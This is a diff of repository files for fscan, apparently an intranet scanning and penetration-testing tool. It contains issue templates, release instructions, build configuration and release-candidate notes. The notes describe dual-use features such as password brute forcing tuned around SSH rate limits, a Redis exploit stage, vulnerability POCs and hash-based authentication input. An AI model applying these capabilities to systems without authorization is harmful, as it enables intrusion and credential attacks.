url: https://github.com/shadow1ng/fscan/discussions
|
||||||
|
about: 使用疑问、经验分享、一般性讨论请使用 Discussions
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
name: 🎯 误报/漏报
|
||||||
|
description: 报告扫描结果不准确的问题
|
||||||
|
title: "[Accuracy] "
|
||||||
|
labels: ["accuracy"]
|
||||||
|
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
感谢您帮助提高 fscan 的准确性!
|
||||||
|
**请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: type
|
||||||
|
attributes:
|
||||||
|
label: 问题类型
|
||||||
|
options:
|
||||||
|
- 误报 (False Positive) - 报告了不存在的问题
|
||||||
|
- 漏报 (False Negative) - 未能检测到存在的问题
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: category
|
||||||
|
attributes:
|
||||||
|
label: 涉及功能
|
||||||
|
options:
|
||||||
|
- 主机存活检测
|
||||||
|
- 端口状态判断
|
||||||
|
- 服务识别
|
||||||
|
- 弱口令检测
|
||||||
|
- POC/漏洞检测
|
||||||
|
- Web指纹识别
|
||||||
|
- 其他
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: command
|
||||||
|
attributes:
|
||||||
|
label: 使用的命令
|
||||||
|
description: 执行的 fscan 命令(请脱敏真实 IP/密码)
|
||||||
|
render: shell
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: fscan-output
|
||||||
|
attributes:
|
||||||
|
label: fscan 输出结果
|
||||||
|
description: 粘贴相关的扫描输出(请脱敏敏感信息)
|
||||||
|
render: shell
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: actual
|
||||||
|
attributes:
|
||||||
|
label: 实际情况及验证方式
|
||||||
|
description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等)
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: target-os
|
||||||
|
attributes:
|
||||||
|
label: 目标操作系统
|
||||||
|
options:
|
||||||
|
- Windows Server
|
||||||
|
- Windows Desktop
|
||||||
|
- Ubuntu/Debian
|
||||||
|
- CentOS/RHEL
|
||||||
|
- 其他 Linux
|
||||||
|
- 网络设备
|
||||||
|
- 容器/Docker
|
||||||
|
- 未知
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: network
|
||||||
|
attributes:
|
||||||
|
label: 网络环境
|
||||||
|
options:
|
||||||
|
- 直连(同网段)
|
||||||
|
- 跨网段/路由
|
||||||
|
- 通过代理 (SOCKS5/HTTP)
|
||||||
|
- VPN
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: version
|
||||||
|
attributes:
|
||||||
|
label: fscan 版本
|
||||||
|
options:
|
||||||
|
- 2.2.0
|
||||||
|
- 2.2.0-rc
|
||||||
|
- 2.1.3
|
||||||
|
- 2.1.2
|
||||||
|
- 2.1.0
|
||||||
|
- 2.0.x
|
||||||
|
- 1.8.x
|
||||||
|
- 其他/自编译
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: suggestion
|
||||||
|
attributes:
|
||||||
|
label: 改进建议(可选)
|
||||||
|
description: 如果您有改进判断逻辑的想法
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
name: ✨ 功能请求
|
||||||
|
description: 提议新功能或改进现有功能
|
||||||
|
title: "[Feature] "
|
||||||
|
labels: ["enhancement"]
|
||||||
|
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
感谢您的功能建议!请描述清楚使用场景和期望行为。
|
||||||
|
纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: category
|
||||||
|
attributes:
|
||||||
|
label: 功能类别
|
||||||
|
options:
|
||||||
|
- 新扫描能力 (New Scan Capability)
|
||||||
|
- 性能优化 (Performance)
|
||||||
|
- 用户体验 (UX/CLI)
|
||||||
|
- 输出格式 (Output Format)
|
||||||
|
- 配置选项 (Configuration)
|
||||||
|
- 嵌入式 SDK (Embedded SDK)
|
||||||
|
- 集成/API (Integration/API)
|
||||||
|
- 其他 (Other)
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: problem
|
||||||
|
attributes:
|
||||||
|
label: 解决什么问题?
|
||||||
|
description: 描述您的实际使用场景和痛点
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: solution
|
||||||
|
attributes:
|
||||||
|
label: 期望的解决方案
|
||||||
|
description: 描述您希望的功能行为,最好包含预期的命令行用法示例
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: alternatives
|
||||||
|
attributes:
|
||||||
|
label: 替代方案(可选)
|
||||||
|
description: 您目前的变通方法,或考虑过的其他方案
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: priority
|
||||||
|
attributes:
|
||||||
|
label: 优先级建议
|
||||||
|
description: 您认为这个功能的重要程度
|
||||||
|
options:
|
||||||
|
- 高 - 核心场景缺失,严重影响使用
|
||||||
|
- 中 - 明显改善体验
|
||||||
|
- 低 - 锦上添花
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: checkboxes
|
||||||
|
id: contribution
|
||||||
|
attributes:
|
||||||
|
label: 贡献意愿
|
||||||
|
options:
|
||||||
|
- label: 我愿意尝试实现这个功能并提交 PR
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
name: 🔌 新插件/协议支持
|
||||||
|
description: 请求支持新的服务、协议或漏洞检测
|
||||||
|
title: "[Plugin] "
|
||||||
|
labels: ["plugin", "enhancement"]
|
||||||
|
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
|
||||||
|
提交前请先确认该服务尚未被支持(查看 README 的支持列表)。
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: type
|
||||||
|
attributes:
|
||||||
|
label: 请求类型
|
||||||
|
options:
|
||||||
|
- 新服务/协议支持 (New Service)
|
||||||
|
- 新弱口令检测 (New Brute Force)
|
||||||
|
- 新漏洞 POC (New POC)
|
||||||
|
- 新指纹识别 (New Fingerprint)
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: service
|
||||||
|
attributes:
|
||||||
|
label: 服务/协议名称
|
||||||
|
description: 例如 ClickHouse、etcd、Consul、Zookeeper
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: port
|
||||||
|
attributes:
|
||||||
|
label: 默认端口
|
||||||
|
description: 例如 9000、2379、8500
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: description
|
||||||
|
attributes:
|
||||||
|
label: 服务描述与检测思路
|
||||||
|
description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等)
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: reference
|
||||||
|
attributes:
|
||||||
|
label: 参考资料(可选)
|
||||||
|
description: 官方文档链接、协议规范、其他工具实现、CVE 编号等
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: prevalence
|
||||||
|
attributes:
|
||||||
|
label: 内网常见程度
|
||||||
|
options:
|
||||||
|
- 非常常见(企业环境标配)
|
||||||
|
- 较为常见(经常遇到)
|
||||||
|
- 偶尔遇到
|
||||||
|
- 较少见但高价值
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: checkboxes
|
||||||
|
id: contribution
|
||||||
|
attributes:
|
||||||
|
label: 贡献意愿
|
||||||
|
options:
|
||||||
|
- label: 我愿意尝试实现这个插件并提交 PR
|
||||||
|
- label: 我可以提供测试环境
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
# 发版流程
|
||||||
|
|
||||||
|
## 预检查
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. 确认 CI 通过
|
||||||
|
gh run list --branch dev --limit 3
|
||||||
|
|
||||||
|
# 2. 全平台 dry-run(手动触发 snapshot 模式)
|
||||||
|
gh workflow run release.yml -f snapshot=true
|
||||||
|
|
||||||
|
# 3. 确认版本号一致
|
||||||
|
grep "version" common/globals.go
|
||||||
|
grep "版本" README.md
|
||||||
|
grep "Version" README_EN.md
|
||||||
|
```
|
||||||
|
|
||||||
|
## 发版
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. 确认 release notes 已就绪
|
||||||
|
cat .github/release-notes/v<VERSION>.md
|
||||||
|
|
||||||
|
# 2. 打 tag(RC 手动打;正式版合并到 main 后由 CI 自动打 tag)
|
||||||
|
git tag v<VERSION>
|
||||||
|
git push origin v<VERSION>
|
||||||
|
|
||||||
|
# CI 自动执行:
|
||||||
|
# - goreleaser 全平台构建 + UPX 压缩
|
||||||
|
# - 创建 GitHub Release(RC 自动标记 pre-release)
|
||||||
|
# - 用 .github/release-notes/ 下的文件覆盖 release body
|
||||||
|
```
|
||||||
|
|
||||||
|
## 版本号规范
|
||||||
|
|
||||||
|
| 场景 | 格式 | 分支 | 示例 |
|
||||||
|
|------|------|------|------|
|
||||||
|
| 正式版 | `vX.Y.Z` | main | `v2.2.0` |
|
||||||
|
| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` |
|
||||||
|
| 热修复 | `vX.Y.Z` | main | `v2.2.1` |
|
||||||
|
|
||||||
|
## Release Notes 模板
|
||||||
|
|
||||||
|
放在 `.github/release-notes/<tag>.md`,格式参考 `v2.2.0-rc.md`。
|
||||||
|
|
||||||
|
如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。
|
||||||
|
|
||||||
|
## 正式版发布(RC → 正式)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. 在 dev 分支准备正式版内容
|
||||||
|
# common/globals.go, README.md, README_EN.md
|
||||||
|
# .github/release-notes/v2.2.0.md
|
||||||
|
|
||||||
|
# 2. 创建 dev -> main PR
|
||||||
|
gh pr create --base main --head dev
|
||||||
|
|
||||||
|
# 3. 合并 PR
|
||||||
|
# main push 会自动读取 common/globals.go 中的版本号,创建 v<VERSION> tag
|
||||||
|
# tag push 会触发 GoReleaser 构建并创建 GitHub Release
|
||||||
|
```
|
||||||
@@ -0,0 +1,91 @@
|
|||||||
|
name: '构建和发布'
|
||||||
|
description: 'fscan 可复用构建动作'
|
||||||
|
|
||||||
|
inputs:
|
||||||
|
mode:
|
||||||
|
description: '构建模式: release 或 snapshot'
|
||||||
|
required: true
|
||||||
|
default: 'snapshot'
|
||||||
|
go-version:
|
||||||
|
description: 'Go 版本'
|
||||||
|
required: false
|
||||||
|
default: '1.20'
|
||||||
|
retention-days:
|
||||||
|
description: '产物保留天数'
|
||||||
|
required: false
|
||||||
|
default: '7'
|
||||||
|
release-args:
|
||||||
|
description: '额外的 goreleaser 参数'
|
||||||
|
required: false
|
||||||
|
default: ''
|
||||||
|
|
||||||
|
runs:
|
||||||
|
using: 'composite'
|
||||||
|
steps:
|
||||||
|
- name: 设置 Go 环境
|
||||||
|
uses: actions/setup-go@v5
|
||||||
|
env:
|
||||||
|
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||||
|
with:
|
||||||
|
go-version: ${{ inputs.go-version }}
|
||||||
|
cache: true
|
||||||
|
|
||||||
|
|
||||||
|
- name: 下载依赖
|
||||||
|
shell: bash
|
||||||
|
run: |
|
||||||
|
go mod download
|
||||||
|
go mod verify
|
||||||
|
|
||||||
|
- name: 安装 UPX
|
||||||
|
uses: crazy-max/ghaction-upx@v3
|
||||||
|
with:
|
||||||
|
install-only: true
|
||||||
|
|
||||||
|
- name: 使用 GoReleaser 构建
|
||||||
|
uses: goreleaser/goreleaser-action@v6
|
||||||
|
with:
|
||||||
|
distribution: goreleaser
|
||||||
|
version: latest
|
||||||
|
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ github.token }}
|
||||||
|
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||||
|
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||||
|
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||||
|
|
||||||
|
- name: 上传产物
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
env:
|
||||||
|
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||||
|
if: always()
|
||||||
|
with:
|
||||||
|
name: build-${{ inputs.mode }}-${{ github.run_id }}
|
||||||
|
path: dist/
|
||||||
|
retention-days: ${{ inputs.retention-days }}
|
||||||
|
|
||||||
|
- name: 生成报告
|
||||||
|
shell: bash
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
cat >> $GITHUB_STEP_SUMMARY << EOF
|
||||||
|
# 构建报告
|
||||||
|
|
||||||
|
| 项目 | 值 |
|
||||||
|
|------|-----|
|
||||||
|
| 模式 | \`${{ inputs.mode }}\` |
|
||||||
|
| 版本 | \`${GITHUB_REF_NAME}\` |
|
||||||
|
| 提交 | \`${GITHUB_SHA:0:7}\` |
|
||||||
|
| Go | \`$(go version | awk '{print $3}')\` |
|
||||||
|
|
||||||
|
## 构建产物
|
||||||
|
|
||||||
|
$(if [ -d "dist" ]; then
|
||||||
|
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
|
||||||
|
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
|
||||||
|
else
|
||||||
|
echo "- 无产物"
|
||||||
|
fi)
|
||||||
|
|
||||||
|
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
|
||||||
|
EOF
|
||||||
@@ -0,0 +1,246 @@
|
|||||||
|
version: 2
|
||||||
|
|
||||||
|
project_name: "fscan"
|
||||||
|
|
||||||
|
before:
|
||||||
|
hooks:
|
||||||
|
- go mod tidy
|
||||||
|
- go mod download
|
||||||
|
|
||||||
|
builds:
|
||||||
|
# 标准版 - 全部插件(全架构)
|
||||||
|
- id: fscan
|
||||||
|
binary: fscan
|
||||||
|
main: .
|
||||||
|
env:
|
||||||
|
- CGO_ENABLED=0
|
||||||
|
goos: [windows, linux, darwin, freebsd, solaris]
|
||||||
|
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||||
|
goarm: ["5", "6", "7"]
|
||||||
|
gomips: [softfloat]
|
||||||
|
ignore:
|
||||||
|
- goos: darwin
|
||||||
|
goarch: "386"
|
||||||
|
- goos: darwin
|
||||||
|
goarch: arm
|
||||||
|
- goos: darwin
|
||||||
|
goarch: mips
|
||||||
|
- goos: darwin
|
||||||
|
goarch: mips64
|
||||||
|
- goos: darwin
|
||||||
|
goarch: mipsle
|
||||||
|
- goos: windows
|
||||||
|
goarch: arm64
|
||||||
|
- goos: windows
|
||||||
|
goarch: arm
|
||||||
|
- goos: windows
|
||||||
|
goarch: mips
|
||||||
|
- goos: windows
|
||||||
|
goarch: mips64
|
||||||
|
- goos: windows
|
||||||
|
goarch: mipsle
|
||||||
|
- goos: freebsd
|
||||||
|
goarch: mips
|
||||||
|
- goos: freebsd
|
||||||
|
goarch: mips64
|
||||||
|
- goos: freebsd
|
||||||
|
goarch: mipsle
|
||||||
|
- goos: solaris
|
||||||
|
goarch: "386"
|
||||||
|
- goos: solaris
|
||||||
|
goarch: arm
|
||||||
|
- goos: solaris
|
||||||
|
goarch: arm64
|
||||||
|
- goos: solaris
|
||||||
|
goarch: mips
|
||||||
|
- goos: solaris
|
||||||
|
goarch: mips64
|
||||||
|
- goos: solaris
|
||||||
|
goarch: mipsle
|
||||||
|
flags: [-trimpath]
|
||||||
|
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||||
|
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||||
|
|
||||||
|
# 无本地插件版 - 排除本地模块(全架构)
|
||||||
|
- id: fscan-nolocal
|
||||||
|
binary: fscan
|
||||||
|
main: .
|
||||||
|
env:
|
||||||
|
- CGO_ENABLED=0
|
||||||
|
goos: [windows, linux, darwin, freebsd, solaris]
|
||||||
|
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||||
|
goarm: ["5", "6", "7"]
|
||||||
|
gomips: [softfloat]
|
||||||
|
ignore:
|
||||||
|
- goos: darwin
|
||||||
|
goarch: "386"
|
||||||
|
- goos: darwin
|
||||||
|
goarch: arm
|
||||||
|
- goos: darwin
|
||||||
|
goarch: mips
|
||||||
|
- goos: darwin
|
||||||
|
goarch: mips64
|
||||||
|
- goos: darwin
|
||||||
|
goarch: mipsle
|
||||||
|
- goos: windows
|
||||||
|
goarch: arm64
|
||||||
|
- goos: windows
|
||||||
|
goarch: arm
|
||||||
|
- goos: windows
|
||||||
|
goarch: mips
|
||||||
|
- goos: windows
|
||||||
|
goarch: mips64
|
||||||
|
- goos: windows
|
||||||
|
goarch: mipsle
|
||||||
|
- goos: freebsd
|
||||||
|
goarch: mips
|
||||||
|
- goos: freebsd
|
||||||
|
goarch: mips64
|
||||||
|
- goos: freebsd
|
||||||
|
goarch: mipsle
|
||||||
|
- goos: solaris
|
||||||
|
goarch: "386"
|
||||||
|
- goos: solaris
|
||||||
|
goarch: arm
|
||||||
|
- goos: solaris
|
||||||
|
goarch: arm64
|
||||||
|
- goos: solaris
|
||||||
|
goarch: mips
|
||||||
|
- goos: solaris
|
||||||
|
goarch: mips64
|
||||||
|
- goos: solaris
|
||||||
|
goarch: mipsle
|
||||||
|
flags: [-trimpath]
|
||||||
|
tags: [no_local]
|
||||||
|
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||||
|
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||||
|
|
||||||
|
# WebUI版 - 主流平台即可
|
||||||
|
- id: fscan-web
|
||||||
|
binary: fscan
|
||||||
|
main: .
|
||||||
|
env:
|
||||||
|
- CGO_ENABLED=0
|
||||||
|
goos: [windows, linux, darwin]
|
||||||
|
goarch: [amd64, arm64, "386"]
|
||||||
|
goarm: ["7"]
|
||||||
|
ignore:
|
||||||
|
- goos: darwin
|
||||||
|
goarch: "386"
|
||||||
|
- goos: windows
|
||||||
|
goarch: arm64
|
||||||
|
flags: [-trimpath]
|
||||||
|
tags: [web]
|
||||||
|
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||||
|
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||||
|
|
||||||
|
upx:
|
||||||
|
- ids: [fscan, fscan-nolocal, fscan-web]
|
||||||
|
enabled: true
|
||||||
|
goos: [windows, linux]
|
||||||
|
goarch: [amd64, "386", arm64]
|
||||||
|
compress: "6"
|
||||||
|
brute: false
|
||||||
|
lzma: false
|
||||||
|
|
||||||
|
archives:
|
||||||
|
# 标准版归档
|
||||||
|
- id: fscan
|
||||||
|
ids: [fscan]
|
||||||
|
formats: [binary]
|
||||||
|
allow_different_binary_count: true
|
||||||
|
name_template: >-
|
||||||
|
fscan_{{ .Version }}_
|
||||||
|
{{- if eq .Os "darwin" }}mac
|
||||||
|
{{- else }}{{ .Os }}{{ end }}_
|
||||||
|
{{- if eq .Arch "amd64" }}x64
|
||||||
|
{{- else if eq .Arch "386" }}x32
|
||||||
|
{{- else }}{{ .Arch }}{{ end }}
|
||||||
|
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||||
|
|
||||||
|
# 无本地插件版归档
|
||||||
|
- id: fscan-nolocal
|
||||||
|
ids: [fscan-nolocal]
|
||||||
|
formats: [binary]
|
||||||
|
allow_different_binary_count: true
|
||||||
|
name_template: >-
|
||||||
|
fscan-nolocal_{{ .Version }}_
|
||||||
|
{{- if eq .Os "darwin" }}mac
|
||||||
|
{{- else }}{{ .Os }}{{ end }}_
|
||||||
|
{{- if eq .Arch "amd64" }}x64
|
||||||
|
{{- else if eq .Arch "386" }}x32
|
||||||
|
{{- else }}{{ .Arch }}{{ end }}
|
||||||
|
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||||
|
|
||||||
|
# WebUI版归档
|
||||||
|
- id: fscan-web
|
||||||
|
ids: [fscan-web]
|
||||||
|
formats: [binary]
|
||||||
|
allow_different_binary_count: true
|
||||||
|
name_template: >-
|
||||||
|
fscan-web_{{ .Version }}_
|
||||||
|
{{- if eq .Os "darwin" }}mac
|
||||||
|
{{- else }}{{ .Os }}{{ end }}_
|
||||||
|
{{- if eq .Arch "amd64" }}x64
|
||||||
|
{{- else if eq .Arch "386" }}x32
|
||||||
|
{{- else }}{{ .Arch }}{{ end }}
|
||||||
|
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||||
|
|
||||||
|
checksum:
|
||||||
|
name_template: 'checksums.txt'
|
||||||
|
algorithm: sha256
|
||||||
|
|
||||||
|
changelog:
|
||||||
|
sort: asc
|
||||||
|
use: github
|
||||||
|
filters:
|
||||||
|
exclude:
|
||||||
|
- "^(docs|test|ci|chore):"
|
||||||
|
- "Merge (pull request|branch)"
|
||||||
|
groups:
|
||||||
|
- title: "🚀 新功能"
|
||||||
|
regexp: "^.*feat[(\\w)]*:+.*$"
|
||||||
|
order: 0
|
||||||
|
- title: "🐛 问题修复"
|
||||||
|
regexp: "^.*fix[(\\w)]*:+.*$"
|
||||||
|
order: 1
|
||||||
|
- title: "🔧 其他改进"
|
||||||
|
order: 999
|
||||||
|
|
||||||
|
release:
|
||||||
|
github:
|
||||||
|
owner: "{{ .Env.GITHUB_OWNER }}"
|
||||||
|
name: "{{ .Env.GITHUB_REPO }}"
|
||||||
|
draft: false
|
||||||
|
prerelease: auto
|
||||||
|
mode: replace
|
||||||
|
header: |
|
||||||
|
## {{ .ProjectName }} {{ .Tag }}
|
||||||
|
|
||||||
|
感谢使用 {{ .ProjectName }}!
|
||||||
|
|
||||||
|
### 版本说明
|
||||||
|
|
||||||
|
| 版本 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||||
|
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||||
|
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
|
||||||
|
|
||||||
|
### 平台支持
|
||||||
|
|
||||||
|
| 平台 | 架构 |
|
||||||
|
|------|------|
|
||||||
|
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
|
||||||
|
| Windows | x64, x32 |
|
||||||
|
| macOS | x64, arm64 |
|
||||||
|
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
|
||||||
|
| Solaris | x64 |
|
||||||
|
footer: |
|
||||||
|
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
||||||
|
|
||||||
|
snapshot:
|
||||||
|
version_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
|
||||||
|
|
||||||
|
metadata:
|
||||||
|
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||||
@@ -0,0 +1,117 @@
|
|||||||
|
# fscan v2.2.0-rc.1
|
||||||
|
|
||||||
|
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||||
|
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||||
|
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 与 v2.2.0-rc 的变更
|
||||||
|
|
||||||
|
本版本基于大量实机测试反馈,**修复 30+ 个问题,新增自适应扫描系统**。183 个文件变更。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 🚀 新功能
|
||||||
|
|
||||||
|
#### 自适应并发调度
|
||||||
|
|
||||||
|
扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据推导关键参数,替代硬编码默认值:
|
||||||
|
|
||||||
|
- **Timeout**: `median_RTT + 4σ`(覆盖 99.9% 正常连接),下限 1s,上限 10s
|
||||||
|
- **ModuleThreadNum**: `ThreadNum / 30`,下限 5,上限 50
|
||||||
|
- **MaxRetries**: 基于丢包率推导,保证全失败概率 <1%
|
||||||
|
- **ICMPRate / PocNum**: 跟随环境和并发自动调整
|
||||||
|
|
||||||
|
线程池升级为 **AIMD + 慢启动**:慢启动阶段 500ms 翻倍,稳态 AIMD(健康 +5%,拥塞 ×0.5),双信号(资源耗尽率 + RTT 趋势)驱动。
|
||||||
|
|
||||||
|
#### 协议级超时下限(ModuleTimeout)
|
||||||
|
|
||||||
|
新增 `Config.ModuleTimeout()` 方法,保证插件级交互超时不低于 3s。自适应系统将端口扫描超时压到 1s 时,SSH 握手、SNMP 探测、数据库认证等多轮交互协议不再受影响。全部 44 个服务插件已迁移。
|
||||||
|
|
||||||
|
#### 限流错误分类(ErrorTypeThrottle)
|
||||||
|
|
||||||
|
新增 `ErrorTypeThrottle` 错误类型,区分服务端限流(SSH MaxStartups 等)和真正的网络不可达。限流错误不计入连续失败计数,触发 500ms 退避后继续,避免误判目标不可达而提前放弃。
|
||||||
|
|
||||||
|
#### Web 版独立入口
|
||||||
|
|
||||||
|
- 拆分 `main.go` 为 `main_cli.go` 和 `main_web.go`
|
||||||
|
- Web 版结果存储从内存替换为 SQLite 持久化(纯 Go 零 CGO)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 🐛 Bug 修复
|
||||||
|
|
||||||
|
#### 插件调度(#586 #587 #588)
|
||||||
|
|
||||||
|
- **非标准端口服务无法匹配插件** — SSH 在 8881 端口,端口匹配失败导致插件不执行。新增服务名称缓存 + 指纹驱动回退匹配 (#588)
|
||||||
|
- **移除误导性的"无可用插件"日志** — 预检基于静态端口匹配,不代表实际不执行 (#588)
|
||||||
|
- **默认扫描 POC 结果缺失** — `executeRules` 返回空 `vulName` 导致检测结果被丢弃 (#586)
|
||||||
|
- **批量扫描(-hf)POC 缺失** — 并发压力下 HTTP 请求瞬时失败未重试,跳过指纹识别和 POC 触发。加入指数退避重试 (#587)
|
||||||
|
- **UDP 插件在 `-p` 指定端口时被跳过** — 现在按用户指定端口过滤并正确调度
|
||||||
|
- **`-full` 模式下 Web 插件跳过 `IsMarkedWebService` 检查**
|
||||||
|
- **不确定服务补做 HTTP 回退探测**,覆盖自定义 HTTP 框架漏网场景
|
||||||
|
|
||||||
|
#### UDP 插件
|
||||||
|
|
||||||
|
- **UDP 插件阻塞导致扫描无法结束** — `conn.Read()` 在目标不响应时无限阻塞。所有 UDP 插件(SNMP/BACnet/DNS/IPMI/TFTP)统一使用 context timeout + conn.Close 双保险
|
||||||
|
- **SNMP community 爆破混入通用密码字典** — 57 个通用密码串行探测导致 10 分钟阻塞,精简为 8 个专用 community
|
||||||
|
|
||||||
|
#### SSH
|
||||||
|
|
||||||
|
- **SSH goroutine 泄漏** — `ssh.NewClientConn` 不接受 context,context 取消后底层 TCP 连接未关闭,大规模扫描时泄漏数万 goroutine
|
||||||
|
- **SSH 握手无 TCP deadline 兜底** — 在 `NewClientConn` 前设置 deadline,握手成功后清除
|
||||||
|
- **SSH 爆破并发过高** — 从 30 降至 3,避免触发 OpenSSH MaxStartups 限流
|
||||||
|
|
||||||
|
#### Redis
|
||||||
|
|
||||||
|
- **Redis exploit 无超时保护** — exploit 阶段移除了全部 deadline,改为 30s 超时
|
||||||
|
- **Redis readReply 吞没非超时错误** — 现在仅对 timeout 类型错误做容忍
|
||||||
|
|
||||||
|
#### POC 引擎
|
||||||
|
|
||||||
|
- **DetectPocFormat 误判含 transport 的 fscan POC 为 xray 格式** — 修复后 388 个 POC 全部正确加载(之前 8 个失败)
|
||||||
|
- **CEL clustersend 结果判断错误** — 从字符串比较改为类型断言
|
||||||
|
- **CEL wait() 函数 nil Reverse 指针 panic**
|
||||||
|
- **reverseCheck 无超时** — 加 10s 超时防止 ceye API 阻塞
|
||||||
|
- **正则编译结果未缓存** — `doSearch`/`bmatches` 缓存到 `sync.Map`
|
||||||
|
|
||||||
|
#### 参数与输出
|
||||||
|
|
||||||
|
- **`-gt` 全局超时参数是死代码** — 现在真正生效,超时后取消所有扫描任务
|
||||||
|
- **`-nopoc` 禁用 POC 时仍输出错误日志** — 已修复
|
||||||
|
- **`-debug` 日志文件写入失败** — `applyLogLevel` 重建 Logger 时丢失 `DebugLogFile` 配置
|
||||||
|
- **`-hash` 不支持 LM:NT 格式** — 现在支持 `aad3b435b51404ee:31d6cfe0d16ae931...` 标准格式
|
||||||
|
